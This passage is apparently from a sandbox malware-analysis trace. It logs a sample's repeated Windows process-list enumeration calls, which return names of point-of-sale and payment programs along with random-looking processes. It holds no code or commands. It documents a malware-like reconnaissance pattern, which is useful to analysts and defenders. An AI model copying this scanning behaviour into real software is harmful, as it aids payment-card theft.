th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0088.451] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0088.452] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0088.453] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0088.454] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0088.455] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0088.456] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0088.457] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0088.458] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0088.459] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nascar_challenges.exe")) returned 1 [0088.460] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments characterized converter.exe")) returned 1 [0088.460] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mlb-noon-origin.exe")) returned 1 [0088.461] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.462] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1064, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0088.965] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0088.966] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0088.967] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0088.968] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0088.969] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0088.970] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0088.970] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.971] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1188, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.972] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.973] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0088.974] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0088.975] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0088.975] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0088.977] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1164, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.977] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1164, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0088.978] CloseHandle (hObject=0x2c8) returned 1 [0088.978] Sleep (dwMilliseconds=0x1f4) [0091.471] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x304 [0091.500] Process32FirstW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.501] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0091.502] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0091.503] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.503] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0091.504] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.505] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0091.506] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0091.506] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0091.507] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.508] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0091.509] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0091.510] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.511] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0091.511] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.512] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.513] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.514] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.515] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.516] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.517] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.518] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.519] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.519] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.520] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0091.521] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.522] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0091.522] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0092.009] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.010] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0092.011] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0092.012] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0092.013] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0092.014] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0092.015] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0092.016] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0092.017] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0092.018] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0092.019] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actuallyutilization.exe")) returned 1 [0092.019] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0092.020] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="midnight_conclusions_venezuela.exe")) returned 1 [0092.021] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="capture guardian kits.exe")) returned 1 [0092.022] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nursing op deputy.exe")) returned 1 [0092.031] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scenariooperatingdts.exe")) returned 1 [0092.032] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ranksphysicians.exe")) returned 1 [0092.033] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="inf distributors.exe")) returned 1 [0092.034] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sa_surf_dig.exe")) returned 1 [0092.036] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="powered.exe")) returned 1 [0092.037] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fiction.exe")) returned 1 [0092.038] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="methodology-iowa-inclusion.exe")) returned 1 [0092.039] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mhz.exe")) returned 1 [0092.040] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="stores predictions calculations.exe")) returned 1 [0092.041] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ogmothers.exe")) returned 1 [0092.042] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, 